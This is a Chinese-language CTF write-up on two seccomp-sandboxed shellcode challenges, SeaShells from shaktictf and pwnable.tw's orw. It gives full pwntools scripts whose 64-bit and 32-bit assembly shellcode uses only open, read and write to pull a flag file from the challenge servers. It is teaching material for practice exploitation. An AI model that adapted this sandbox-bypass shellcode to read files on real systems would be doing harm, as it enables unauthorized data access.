简介 之前从来没写过沙箱题,一下子遇到2道,直接懵了,记录一下
沙箱可以理解为一种虚拟环境,在CTF中,可以通过seccomp(Linux内核的一种特性)来实现系统调用的白名单和黑名单,从而限制程序使用某些系统调用,常见的限制为设置白名单,仅允许我们使用open、read和write 以两道题作为例子
SeaShells 第一题是2025.07.26的shaktictf比赛里面的SeaShells题,原题链接在这:2025-07-26-shaktictf比赛原题:SeaShells
题目描述 原文题目描述比较抽象,没什么有用信息,于是直接开始下载附件分析
漏洞点分析 把ELF文件拖进IDA初步观察一下,如下图 可以看到main函数逻辑很简单,是直接把我们输入的数据当作代码来执行 但是注意到左侧函数表中存在一个seccomp_initialisation的函数,想到这题应该加了沙箱,限制了我们的系统调用,大概率无法直接拿到shell 接着再对程序检查一下,使用seccomp-tools命令行工具,ubuntu22.04中安装命令如下:
1 2 sudo apt install gcc ruby-dev -ysudo gem install seccomp-tools
安装完成后使用该工具检查ELF文件:
1 seccomp-tools dump ./seashells
发现除了程序本身的系统调用,对于我们获取flag有用的只有open、read和write系统调用 由此,漏洞点清晰,需要编写一段仅使用了open、read和write系统调用的shellcode并输入即可
漏洞点利用 file命令查看一下,发现是64位程序,因此编写出如下shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * context(os="linux" ,arch="x86_64" ,log_level="debug" ) targetELF="./seashells" ioTube=remote("43.205.113.100" ,8645 ) shellcode=asm(''' .intel_syntax noprefix push 0 mov r10,0x7478742e67616c66 push r10 lea rdi,[rsp] xor rsi,rsi xor rax,rax mov rax,2 syscall mov rdi,rax sub rsp,100 lea rsi,[rsp] xor rdx,rdx mov rdx,100 xor rax,rax syscall xor rdi,rdi mov rdi,1 lea rsi,[rsp] xor rax,rax mov rax,1 syscall ''' ) ioTube.recvuntil("Give me the sea shells that you collected >>" ) ioTube.sendline(shellcode) response=ioTube.recv().decode(errors="ignore" )print ("flag included in {}\n" .format (response))
需要注意的有2点: 一是在远程中flag的文件路径需要猜测一下,一开始写的/flag(即mov r10,67616c662f)没打通,后来改成flag.txt才打通 二是在open文件时,字符串的末尾一定要以0x00结尾(这也是为什么一开始有一条push 0指令)
pwnable02-orw 第二题是pwnable.tw上的一道题目,原题链接在这:pwnable.tw第2题:orw
题目描述 这道题比上一题更简单,题目描述中给出了提示 直接告诉我们只有open、read和write可以使用,并且给出了flag的路径在/home/orw/flag
漏洞点分析 下载附件后首先还是拖进IDA看一下 发现逻辑就是直接执行shellcode,然后函数表里面还是有沙箱(orw_seccomp) 最后用file查看一下是32位文件 经过上述信息搜集,可以得到利用思路和上一题基本一致,只不过编写汇编语言时注意32位架构下的语法
漏洞点利用 直接编写出如下的利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *import pwnlib.shellcraft context(os="linux" ,arch="x86" ,log_level="debug" ) targetELF="./pwn" ioTube=remote("chall.pwnable.tw" ,10001 ) shellcode=asm(''' push 0 push 0x67616c66 push 0x2f77726f push 0x2f656d6f push 0x682f2f2f lea ebx,[esp] xor ecx,ecx xor edx,edx mov eax,5 int 0x80 mov ebx,eax mov edx,256 sub esp,256 lea ecx,[esp] xor eax,eax mov eax,3 int 0x80 xor ebx,ebx mov ebx,1 mov edx,eax lea ecx,[esp] xor eax,eax mov eax,4 int 0x80 ''' ) ioTube.recvuntil("Give my your shellcode:" ) ioTube.sendline(shellcode) response=ioTube.recv().decode(errors="ignore" )print (response)